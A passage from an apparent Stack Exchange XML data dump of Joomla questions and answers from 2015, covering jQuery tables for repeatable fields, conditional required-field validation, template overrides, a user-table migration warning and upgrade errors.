rows&#xA;  jQuery.each(rows, function(a, row) {&#xA;     body += '&amp;lt;tr&amp;gt;' + row + '&amp;lt;/tr&amp;gt;';&#xA;    });&#xA;&#xA;    body += '&amp;lt;/tbody&amp;gt;';&#xA;&#xA;  return body;&#xA;&#xA;}&#xA;&#xA;function capitalizeFirstLetter(string) {&#xA;    return string.charAt(0).toUpperCase() + string.slice(1);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to make sure the table gets build on page load after you saved the item, add this JavaScript as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function()&#xA;{&#xA;    // set up table for this repeatable field&#xA;    var values_a = jQuery('#jform_percentmale').val();&#xA;    if (values_a)&#xA;    {&#xA;        values_a = jQuery.parseJSON(values_a);&#xA;        buildTable(values_a,'jform_percentmale');&#xA;    }&#xA;&#xA;    // set up table for this repeatable field&#xA;    var values_b = jQuery('#jform_percentfemale').val();&#xA;    if (values_b)&#xA;    {&#xA;        values_b = jQuery.parseJSON(values_b);&#xA;        buildTable(values_b,'jform_percentfemale');&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this last little code snippet you should remember to replace my field id's with those of your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have assumed that you are staying inside the Joomla API and its conventions in creating your repeatable field. If you have customized things in any way you will need to adapt this code to those custom changes you've made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have a &lt;a href=&quot;https://github.com/namibia/demo-joomla-3-component&quot; rel=&quot;nofollow&quot;&gt;demo component on GitHub&lt;/a&gt; that has &lt;a href=&quot;https://github.com/namibia/demo-joomla-3-component/blob/master/admin/views/look/tmpl/edit.php#L133&quot; rel=&quot;nofollow&quot;&gt;this implementation&lt;/a&gt; take a look also at the &lt;a href=&quot;https://github.com/namibia/demo-joomla-3-component/blob/master/admin/models/forms/look.js#L118&quot; rel=&quot;nofollow&quot;&gt;JavaScript&lt;/a&gt; and other scripts related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone :)&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="2166" LastEditDate="2015-08-24T20:53:30.767" LastActivityDate="2015-08-24T20:53:30.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10893" PostTypeId="2" ParentId="10873" CreationDate="2015-07-22T00:01:58.570" Score="3" Body="&lt;p&gt;Yes this is possible but is a major work around. Joomla has two required verification events. One in he browser and the other on the server just before saving of the form. The browser is the easy part to bridge, the server-side verification is more tricky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add an extra hidden field called &quot;not_required&quot; to my form and use this to send the fields not required to the server. Then in the JModelAdmin extended class for this view I rewrite the validate method to take the values in the &quot;not_required&quot; field in account on validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well enough said, here is the code to bridge the browser validation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    jform_LATkbJUPdS_required = false;  &#xA;&#xA;    // the LATkbJU function&#xA;    function LATkbJU(add_css_view_LATkbJU)&#xA;    {&#xA;        // set the function logic&#xA;        if (add_css_view_LATkbJU == 1)&#xA;        {&#xA;            jQuery('#jform_css_view').closest('.control-group').show();&#xA;            if (jform_LATkbJUPdS_required)&#xA;            {&#xA;                updateFieldRequired('css_view',0);&#xA;                jQuery('#jform_css_view').prop('required','required');&#xA;                jQuery('#jform_css_view').attr('aria-required',true);&#xA;                jQuery('#jform_css_view').addClass('required');&#xA;                jform_LATkbJUPdS_required = false;&#xA;            }&#xA;&#xA;        }&#xA;        else&#xA;        {&#xA;            jQuery('#jform_css_view').closest('.control-group').hide();&#xA;            if (!jform_LATkbJUPdS_required)&#xA;            {&#xA;                updateFieldRequired('css_view',1);&#xA;                jQuery('#jform_css_view').removeAttr('required');&#xA;                jQuery('#jform_css_view').removeAttr('aria-required');&#xA;                jQuery('#jform_css_view').removeClass('required');&#xA;                jform_LATkbJUPdS_required = true;&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry for the generic naming but the above should give you a good idea how to update a field so the browser verification is disarmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see there is a function call &quot;updateFieldRequired('css_view',0);&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is used to set the hidden field that helps on the server side of this validation issue. Here is the code for this function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// update required fields&#xA;function updateFieldRequired(name,status)&#xA;{&#xA;    var not_required = jQuery('#jform_not_required').val();&#xA;&#xA;    if(status == 1)&#xA;    {&#xA;        if (isSet(not_required) &amp;amp;&amp;amp; not_required != 0)&#xA;        {&#xA;            not_required = not_required+','+name;&#xA;        }&#xA;        else&#xA;        {&#xA;            not_required = ','+name;&#xA;        }&#xA;    }&#xA;    else&#xA;    {&#xA;        if (isSet(not_required) &amp;amp;&amp;amp; not_required != 0)&#xA;        {&#xA;            not_required = not_required.replace(','+name,'');&#xA;        }&#xA;    }&#xA;&#xA;    jQuery('#jform_not_required').val(not_required);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the new validate method for the model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    protected function checkString($string)&#xA;    {&#xA;        if (isset($string) &amp;amp;&amp;amp; is_string($string) &amp;amp;&amp;amp; strlen($string) &amp;gt; 0)&#xA;        {&#xA;            return true;&#xA;        }&#xA;        return false;&#xA;    }&#xA;&#xA;    public function validate($form, $data, $group = null)&#xA;    {&#xA;        // check if the not_required field is set&#xA;        if ($this-&amp;gt;checkString($data['not_required']))&#xA;        {&#xA;            $requiredFields = (array) explode(',',(string) $data['not_required']);&#xA;            $requiredFields = array_unique($requiredFields);&#xA;            // now change the required field attributes value&#xA;            foreach ($requiredFields as $requiredField)&#xA;            {&#xA;                // make sure there is a string value&#xA;                if ($this-&amp;gt;checkString($requiredField))&#xA;                {&#xA;                    // change to false&#xA;                    $form-&amp;gt;setFieldAttribute($requiredField, 'required', 'false');&#xA;                    // also clear the data set&#xA;                    $data[$requiredField] = '';&#xA;                }&#xA;            }&#xA;        }&#xA;        return parent::validate($form, $data, $group);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I have a &lt;a href=&quot;https://github.com/namibia/demo-joomla-3-component&quot; rel=&quot;nofollow&quot;&gt;demo component on GitHub&lt;/a&gt; that has a &lt;a href=&quot;https://github.com/namibia/demo-joomla-3-component/blob/master/admin/views/look/tmpl/edit.php#L102&quot; rel=&quot;nofollow&quot;&gt;field dependent implementation&lt;/a&gt; take a look also at the &lt;a href=&quot;https://github.com/namibia/demo-joomla-3-component/blob/master/admin/models/look.php#L341&quot; rel=&quot;nofollow&quot;&gt;model validate method&lt;/a&gt; and other scripts related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this is what you are looking for, until next time take care!&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="2166" LastEditDate="2015-08-24T21:01:24.590" LastActivityDate="2015-08-24T21:01:24.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10894" PostTypeId="2" ParentId="10453" CreationDate="2015-07-22T00:13:57.103" Score="1" Body="&lt;p&gt;Well to do this you will need to add the following code to the footer of your edit.php file in the view folder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('input.form-field-repeatable').on('weready', function(e, value){&#xA;    jQuery('.save-modal-data').text('Done');&#xA;}).on('value-update', function(e, value){&#xA;    if (value)&#xA;    {&#xA;        buildTable(value,e.currentTarget.id);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following JavaScript can be added to any JavaScript file that is also loaded on this page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function buildTable(array,id){&#xA;    jQuery('#table_'+id).remove();&#xA;    jQuery('#'+id).closest('.control-group').append('&amp;lt;table style=&quot;margin: 5px 0 20px;&quot; class=&quot;table&quot; id=&quot;table_'+id+'&quot;&amp;gt;');&#xA;    jQuery('#table_'+id).append(tableHeader(array));&#xA;    jQuery('#table_'+id).append(tableBody(array));  &#xA;    jQuery('#table_'+id).append('&amp;lt;/table&amp;gt;');&#xA;}&#xA;&#xA;function tableHeader(array)&#xA;{&#xA;  var header = '&amp;lt;thead&amp;gt;&amp;lt;tr&amp;gt;';&#xA;    jQuery.each(array, function(key, value) {&#xA;         header += '&amp;lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid rgb(221, 221, 221);&quot;&amp;gt;'+capitalizeFirstLetter(key)+'&amp;lt;/th&amp;gt;';&#xA;    });&#xA;    header += '&amp;lt;/tr&amp;gt;&amp;lt;/thead&amp;gt;';&#xA;  return header;&#xA;}&#xA;&#xA;function tableBody(array)&#xA;{&#xA;    var body = '&amp;lt;tbody&amp;gt;';&#xA;    var rows = new Array();&#xA;    jQuery.each(array, function(key, value) {&#xA;        jQuery.each(value, function(i, line) {&#xA;      if( rows[i] === undefined ) {&#xA;        rows[i] = '&amp;lt;td style=&quot;padding: 10px; text-align: center; border: 1px solid rgb(221, 221, 221);&quot;&amp;gt;' + line + '&amp;lt;/td&amp;gt;';&#xA;      }&#xA;      else&#xA;      {&#xA;        rows[i] = rows[i] + '&amp;lt;td style=&quot;padding: 10px; text-align: center; border: 1px solid rgb(221, 221, 221);&quot;&amp;gt;' + line + '&amp;lt;/td&amp;gt;';&#xA;      }&#xA;        });&#xA;    });&#xA;  // now load to body the rows&#xA;  jQuery.each(rows, function(a, row) {&#xA;     body += '&amp;lt;tr&amp;gt;' + row + '&amp;lt;/tr&amp;gt;';&#xA;    });&#xA;&#xA;    body += '&amp;lt;/tbody&amp;gt;';&#xA;&#xA;  return body;&#xA;&#xA;}&#xA;&#xA;function capitalizeFirstLetter(string) {&#xA;    return string.charAt(0).toUpperCase() + string.slice(1);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to make sure the table gets build on page load after you saved the item, add this JavaScript as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function()&#xA;{&#xA;    // set up table for this repeatable field&#xA;    var values_a = jQuery('#jform_percentmale').val();&#xA;    if (values_a)&#xA;    {&#xA;        values_a = jQuery.parseJSON(values_a);&#xA;        buildTable(values_a,'jform_percentmale');&#xA;    }&#xA;&#xA;    // set up table for this repeatable field&#xA;    var values_b = jQuery('#jform_percentfemale').val();&#xA;    if (values_b)&#xA;    {&#xA;        values_b = jQuery.parseJSON(values_b);&#xA;        buildTable(values_b,'jform_percentfemale');&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this last little code snippet you should remember to replace my field id's with those of your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have assumed that you are staying inside the Joomla API and its conventions in creating your repeatable field. If you have customized things in any way you will need to adapt this code to those custom changes you've made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2166" LastActivityDate="2015-07-22T00:13:57.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10896" PostTypeId="2" ParentId="10880" CreationDate="2015-07-22T09:49:56.873" Score="3" Body="&lt;p&gt;Solved! I put the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php $images = json_decode($item-&amp;gt;images); ?&amp;gt;&#xA;   &amp;lt;img class=&quot;image_intro&quot; src=&quot;&amp;lt;?php echo $images-&amp;gt;image_intro; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $images-&amp;gt;image_intro_alt; ?&amp;gt;&quot;/&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;after the following code in my overriding file of the joomla core file:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;modules/mod_articles_categories/tmpl/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* @subpackage  mod_articles_category&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;category-module&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if ($grouped) : ?&amp;gt;&#xA;        &amp;lt;?php foreach ($list as $group_name =&amp;gt; $group) : ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php foreach ($group as $item) : ?&amp;gt;    &#xA;                    &amp;lt;li&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and intro images of articles shown up in module Articles-Categories listing. If anyone has other solutions, come on shoot... &lt;/p&gt;&#xA;" OwnerUserId="5604" LastEditorUserId="126" LastEditDate="2015-08-21T11:11:17.610" LastActivityDate="2015-08-21T11:11:17.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10897" PostTypeId="1" AcceptedAnswerId="10938" CreationDate="2015-07-22T12:29:54.007" Score="1" ViewCount="389" Body="&lt;p&gt;Hi I'm learning the php and this has gone way over my head. I'm trying to make the blog item page links go to an external link if the A-link in the article is entered. I found some code in the com_content/article/default_link.php. I tried to just place the code in, before I tried to do an else command 'blog_style_default_title.php' but not work. Basically want to have the image and links to change to A-record if one is entered, otherwise go to article as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code below: original and code trying to apply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  Layout&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Create a shortcut for params.&#xA;$params = $displayData-&amp;gt;params;&#xA;$canEdit = $displayData-&amp;gt;params-&amp;gt;get('access-edit');&#xA;JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');&#xA;?&amp;gt;&#xA;&amp;lt;?php if ($params-&amp;gt;get('show_title') || $displayData-&amp;gt;state == 0 || ($params-&amp;gt;get('show_author') &amp;amp;&amp;amp; !empty($displayData-&amp;gt;author ))) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($params-&amp;gt;get('show_title')) : ?&amp;gt;&#xA;            &amp;lt;h2 itemprop=&quot;name&quot;&amp;gt;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('link_titles') &amp;amp;&amp;amp; $params-&amp;gt;get('access-view')) : ?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getArticleRoute($displayData-&amp;gt;slug, $displayData-&amp;gt;catid, $displayData-&amp;gt;language)); ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;escape($displayData-&amp;gt;title); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;?php else : ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;escape($displayData-&amp;gt;title); ?&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($displayData-&amp;gt;state == 0) : ?&amp;gt;&#xA;            &amp;lt;span class=&quot;label label-warning&quot;&amp;gt;&amp;lt;?php echo JText::_('JUNPUBLISHED'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if (strtotime($displayData-&amp;gt;publish_up) &amp;gt; strtotime(JFactory::getDate())) : ?&amp;gt;&#xA;            &amp;lt;span class=&quot;label label-warning&quot;&amp;gt;&amp;lt;?php echo JText::_('JNOTPUBLISHEDYET'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if ((strtotime($displayData-&amp;gt;publish_down) &amp;lt; strtotime(JFactory::getDate())) &amp;amp;&amp;amp; $displayData-&amp;gt;publish_down != JFactory::getDbo()-&amp;gt;getNullDate()) : ?&amp;gt;&#xA;            &amp;lt;span class=&quot;label label-warning&quot;&amp;gt;&amp;lt;?php echo JText::_('JEXPIRED'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php&#xA;// ##################### Code from  default_link ########## //&#xA;&#xA;// Create shortcut&#xA;$urls = json_decode($this-&amp;gt;item-&amp;gt;urls);&#xA;&#xA;// Create shortcuts to some parameters.&#xA;$params = $this-&amp;gt;item-&amp;gt;params;&#xA;if ($urls &amp;amp;&amp;amp; (!empty($urls-&amp;gt;urla))) :&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;content-links&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;            $urlarray = array(&#xA;            array($urls-&amp;gt;urla, $urls-&amp;gt;urlatext, $urls-&amp;gt;targeta, 'a'),&#xA;            );&#xA;            foreach ($urlarray as $url) :&#xA;                $link = $url[0];&#xA;                $label = $url[1];&#xA;                $target = $url[2];&#xA;                $id = $url[3];&#xA;&#xA;                if ( ! $link) :&#xA;                    continue;&#xA;                endif;&#xA;&#xA;                // If no label is present, take the link&#xA;                $label = ($label) ? $label : $link;&#xA;&#xA;                // If no target is present, use the default&#xA;                $target = $target ? $target : $params-&amp;gt;get('target' . $id);&#xA;                ?&amp;gt;&#xA;                &amp;lt;?php&#xA;                    // Compute the correct link&#xA;&#xA;                    switch ($target)&#xA;                    {&#xA;                        case 1:&#xA;                            // open in a new window&#xA;                            echo '&amp;lt;a href=&quot;' . htmlspecialchars($link) . '&quot; target=&quot;_blank&quot;  rel=&quot;nofollow&quot;&amp;gt;' .&#xA;                                htmlspecialchars($label) . '&amp;lt;/a&amp;gt;';&#xA;                            break;&#xA;&#xA;                        default:&#xA;                            // open in parent window&#xA;                            echo '&amp;lt;a href=&quot;' . htmlspecialchars($link) . '&quot; rel=&quot;nofollow&quot;&amp;gt;' .&#xA;                                htmlspecialchars($label) . ' &amp;lt;/a&amp;gt;';&#xA;                            break;&#xA;                    }&#xA;                ?&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5614" LastEditorUserId="1629" LastEditDate="2015-07-22T13:40:22.597" LastActivityDate="2015-07-27T10:12:45.323" Title="Override the blog_style_default_title.php file" Tags="|joomla-3.x|content|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10898" PostTypeId="1" AcceptedAnswerId="10899" CreationDate="2015-07-22T13:10:03.923" Score="0" ViewCount="87" Body="&lt;p&gt;Joomla 3.4.1&lt;/p&gt;&#xA;&lt;p&gt;I am using EasyBlog and have migrated all of my posts from Site A to Site B.&lt;/p&gt;&#xA;&lt;p&gt;I did this by selecting all of the relevant tables in Site A and importing to Site B (via phpmyadmin). All of the migrated posts do appear in my new Site B however there is one issue, the post doesn't show the author info.&lt;/p&gt;&#xA;&lt;p&gt;The following warning appears (both in front-end and back-end);&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning&lt;/p&gt;&#xA;&lt;p&gt;JUser: :_load: Unable to load user with ID: 438&lt;/p&gt;&#xA;&lt;p&gt;JUser: :_load: Unable to load user with ID: 437&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I only have two users in my Joomla site. When I look under Users &amp;gt; User manager their ID's are 737 and 738.&lt;/p&gt;&#xA;&lt;p&gt;Presumable I need to change these to 437 and 438? Do I simply change these in the &lt;code&gt;_users&lt;/code&gt; table or is there something else I must also do?&lt;/p&gt;&#xA;&lt;p&gt;My Super user is ID 737&lt;/p&gt;&#xA;&lt;p&gt;Help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-22T13:26:52.040" Title="User ID Warning" Tags="|joomla-3.x|user|migration|administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10899" PostTypeId="2" ParentId="10898" CreationDate="2015-07-22T13:13:18.390" Score="2" Body="&lt;p&gt;Any extension that interacts with users in any way, shop or form, requires the &lt;code&gt;#__users&lt;/code&gt; table. It sounds like you have migrated the EasyBlog data, but forgot to migrate the data from the &lt;code&gt;#__users&lt;/code&gt; table on the old site to the new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would explain why the user ID doesn't exist and the error you're receiving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to export and import the following tables:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;#__users&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;#__user_usergroup_map&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;#__usergroups&lt;/code&gt; (only if you have custom usergroups)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-07-22T13:26:52.040" LastActivityDate="2015-07-22T13:26:52.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10900" PostTypeId="2" ParentId="10865" CreationDate="2015-07-22T18:35:30.383" Score="1" Body="&lt;p&gt;I might be off with this, but your first name field definition is still &quot;name&quot;, so its only capturing the &quot;first&quot; part and storing it.  Presumably, it's saving the &quot;second&quot; part as the last name.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't walk you through the specifics of changing it without knowing it better, but you'll have to walk with caution because THIS code appears to be changing how the core files uses the &quot;name&quot; field.  Your plugin is going to have to recognize the first/last portion and do the manipulation to give Joomla the full name which it depends on.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-07-22T18:35:30.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10901" PostTypeId="2" ParentId="9598" CreationDate="2015-07-22T19:56:09.247" Score="2" Body="&lt;p&gt;Try to put&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_COURSELIST_N_ITEMS_DELETED=&quot;Successfully deleted course(s)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin/language/en-GB/en-GB.com_courselist.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOT&lt;/strong&gt; into en-GB.com_courselist.&lt;strong&gt;sys&lt;/strong&gt;.ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .sys.ini is rather used outside the component (e.g. in the extension manager or in the component configuration).&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-07-22T19:56:09.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10902" PostTypeId="1" CreationDate="2015-07-23T02:27:32.603" Score="0" ViewCount="1341" Body="&lt;p&gt;I haven't changed anything in my files nor settings but it just started to redirect index.php// it is weird because I haven't touched a file and it started randomly. Every site redirects even the administrator to index.php//.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me? I don't have anything in my htaccess.&lt;/p&gt;&#xA;" OwnerUserId="5534" LastActivityDate="2016-07-24T19:16:23.143" Title="Joomla redirecting to /index.php// every site even Administrator. Causes Redirect Loop" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10903" PostTypeId="1" AcceptedAnswerId="10905" CreationDate="2015-07-23T10:06:57.617" Score="1" ViewCount="79" Body="&lt;p&gt;I've recently been working on a website were I've upgrade it from 1.6 to 3 without any issues until I installed the Gantry framework and Template, I'm getting an unhelpful error message saying only error when trying to save. With the developers help I've narrowed it down to the error below but we're both unable to move forward from this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Declaration of JFormFieldText::setup() should be compatible with JFormField::setup(&amp;amp;$element, $value, $group = NULL) in libraries/joomla/form/fields/text.php on line 265&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've reuploaded the text.php from a fresh joomla 3 install but without any help and any attempts to search for the error hasn't helped further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitter.im/gantry/gantry4&quot; rel=&quot;nofollow&quot;&gt;https://gitter.im/gantry/gantry4&lt;/a&gt; has the current exchange between myself and gantry where we tired to narrow down the issue.&lt;/p&gt;&#xA;" OwnerUserId="1623" LastActivityDate="2015-07-23T10:35:53.710" Title="Joomla Upgrade: Declaration of JFormFieldText::setup() should be compatible with JFormField::setup" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10904" PostTypeId="2" ParentId="10903" CreationDate="2015-07-23T10:19:53.590" Score="1" Body="&lt;p&gt;I believe this is a strict error which should not normally affect the way the code works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting error reporting in the Joomla Global Configuration to &quot;System Default&quot;. If it's already set to this, try turning it off to see if the error goes away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how smooth the upgrade went, but try downloading a fresh copy of Joomla, and replace the following directories with the ones from the fresh copy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;administrator&lt;/li&gt;&#xA;&lt;li&gt;components&lt;/li&gt;&#xA;&lt;li&gt;libraries&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-23T10:19:53.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10905" PostTypeId="2" ParentId="10903" CreationDate="2015-07-23T10:35:53.710" Score="1" Body="&lt;p&gt;Working further on the issue. There were left over files in the libraries/cms, joomla, legacy which onced deleted and the latest joomla files added in places resolved the issue.&lt;/p&gt;&#xA;" OwnerUserId="1623" LastActivityDate="2015-07-23T10:35:53.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10906" PostTypeId="1" AcceptedAnswerId="10965" CreationDate="2015-07-23T10:59:50.010" Score="1" ViewCount="210" Body="&lt;p&gt;I've been tasked with creating a site. A large part of the site's functionality will be in the form of online learning courses (mainly in SCORM format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original thought was to use a dedicated LMS product such as Moodle for this, but the site also needs to have a fair bit of CMS-type functionality that doesn't really suit Moodle. So I've changed tack, and I'm now thinking about a CMS like Joomla with some kind of LMS module or possibly integration with Moodle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, what solutions exist for this kind of setup in the Joomla ecosystem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2015-07-28T13:40:35.720" Title="Joomla LMS solutions" Tags="|extensions|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10907" PostTypeId="1" AcceptedAnswerId="10920" CreationDate="2015-07-23T14:12:50.760" Score="0" ViewCount="633" Body="&lt;ul&gt;&#xA;&lt;li&gt;Joomla 3.4.1&lt;/li&gt;&#xA;&lt;li&gt;T3 Framework (v2.4.9)&lt;/li&gt;&#xA;&lt;li&gt;Uber Template (v2.1.1)&lt;/li&gt;&#xA;&lt;li&gt;xampp / win7&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm having a really strange issue with front-end module editing (this is my secod post, deleted the first one as it was becoming very messy). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am logged in as super admin and unable to see the icon when hovering over any module. Tried Uber template and default Protostar template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After inspecting the html via the console (and tips from @Lodder) I have come to the conclusion that it must be a css issue, hopefully somebody can confirm/help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In dev tools that when I hover over the module, some code appears in the console (shown below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/saHAF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/saHAF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume this is the edit-module icon code, however I cannot see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the following to my custom.css file which does allow me to see something (a black 